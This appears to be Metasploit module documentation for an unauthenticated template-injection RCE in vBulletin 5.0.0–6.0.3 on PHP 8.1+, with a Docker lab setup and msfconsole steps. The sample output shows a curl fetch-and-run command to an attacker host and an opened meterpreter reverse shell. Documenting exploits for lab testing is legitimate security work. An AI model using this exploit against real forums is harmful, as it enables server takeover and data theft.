## Vulnerable Application

This Metasploit module exploits a design flaw in vBulletin’s AJAX API handler and template
rendering system, affecting **vBulletin 5.0.0 through 6.0.3** on **PHP 8.1+**.
An unauthenticated attacker can invoke the protected `vB_Api_Ad::replaceAdTemplate()` method to inject a malicious template that calls
`"system"("base64_decode"($_POST[<param>]))`, then trigger execution via the `ajax/render/ad_<location>` endpoint,
yielding arbitrary code execution as the webserver user.

> **Note:** vBulletin is commercial software and is **not** included here. You must obtain a licensed copy and extract it under `./upload/`.

---

## To replicate vulnerable environments

1. **vBulletin 6.0.1 (tested)**

   * Purchase and download vBulletin 6.0.1 from the official portal.
   * Extract all files into `./upload/`.

2. **Other versions (5.0.0–6.0.3)**

   * Repeat the above with any of the supported versions.
   * Ensure you run on PHP 8.1+; earlier PHP versions do not expose this flaw.

---

## Docker Compose Configuration

```yaml
services:
  db:
    image: mysql:5.7
    container_name: vbulletin_db
    restart: unless-stopped
    environment:
      MYSQL_ROOT_PASSWORD: root_password_here
      MYSQL_DATABASE: vbulletin
      MYSQL_USER: vbulletin
      MYSQL_PASSWORD: vb_password_here
    volumes:
      - db_data:/var/lib/mysql

  web:
    build: .
    container_name: vbulletin_web
    depends_on: [db]
    ports: ["8888:80"]
    environment:
      VB_DB_HOST: db
      VB_DB_NAME: vbulletin
      VB_DB_USER: vbulletin
      VB_DB_PASS: vb_password_here

volumes:
  db_data:
```

Create the following **Dockerfile** and **docker-entrypoint.sh** in the same directory:

**Dockerfile**

```dockerfile
FROM php:8.1-apache

COPY upload/ /var/www/html/

RUN apt-get update && \
    apt-get install -y --no-install-recommends \
       libzip-dev zlib1g-dev libonig-dev \
       libpng-dev libjpeg-dev libfreetype6-dev && \
    docker-php-ext-install \
       zip mysqli pdo_mysql gd mbstring && \
    a2enmod rewrite && \
    rm -rf /var/lib/apt/lists/*

RUN echo "phar.readonly=Off" > /usr/local/etc/php/conf.d/vbulletin.ini

COPY --chmod 755 docker-entrypoint.sh /usr/local/bin/
ENTRYPOINT ["docker-entrypoint.sh"]
CMD ["apache2-foreground"]
```

**docker-entrypoint.sh**

```bash
#!/bin/bash
chown -R www-data:www-data /var/www/html
exec "$@"
```

---

## Verification Steps

1. **Start the environment**
```bash
docker-compose up -d
```

2. **Install vBulletin**
Open [http://localhost:8888](http://localhost:8888) and complete the installation:

* **Database Host:** db
* **DB Name:** vbulletin
* **DB User:** vbulletin
* **DB Password:** vb_password_here

3. **Run `msfconsole`**

```bash
use exploit/multi/http/vbulletin_replace_ad_template_rce
set RHOSTS 127.0.0.1
set RPORT 8888
set TARGETURI /
check
```

---

## Options

No option

---

## Scenarios

### Unauthenticated Pre-Auth RCE

1. Ensure vBulletin 5.0.0–6.0.3 is installed and running on PHP 8.1+.
2. In `msfconsole`, configure and run:

```bash
set RHOSTS localhost
set RPORT 8888
set TARGETURI /
```

---

## Expected Results

### With `cmd/linux/http/x64/meterpreter/reverse_tcp`

```plaintext
msf exploit(multi/http/vbulletin_replace_ad_template_rce) > run http://lab:8888
[*] Command to run on remote host: curl -so ./BGZuzbsi http://192.168.1.36:8080/LoPlnjEpeOexZNVppn6cAA;chmod +x ./BGZuzbsi;./BGZuzbsi&
[*] Fetch handler listening on 192.168.1.36:8080
[*] HTTP server started
[*] Adding resource /LoPlnjEpeOexZNVppn6cAA
[*] Started reverse TCP handler on 192.168.1.36:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Starting vulnerability check on 127.0.0.1:8888/
[*] Generating random marker and condition for mode check
[*] Sending POST to ajax/api/ad/replaceAdTemplate (location=QuFcp)
[*] Injection response: HTTP 200
[+] Marker found in injection response body
[+] The target is vulnerable.
[*] Generating random marker and condition for mode exploit
[*] Sending POST to ajax/api/ad/replaceAdTemplate (location=XSGFS)
[*] Client 172.28.0.3 requested /LoPlnjEpeOexZNVppn6cAA
[*] Sending payload to 172.28.0.3 (curl/7.88.1)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 172.28.0.3
[*] Meterpreter session 8 opened (192.168.1.36:4444 -> 172.28.0.3:53014) at 2025-05-29 16:27:00 +0200

meterpreter > sysinfo
Computer     : 172.28.0.3
OS           : Debian 12.11 (Linux 6.14.8-2-cachyos)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
```
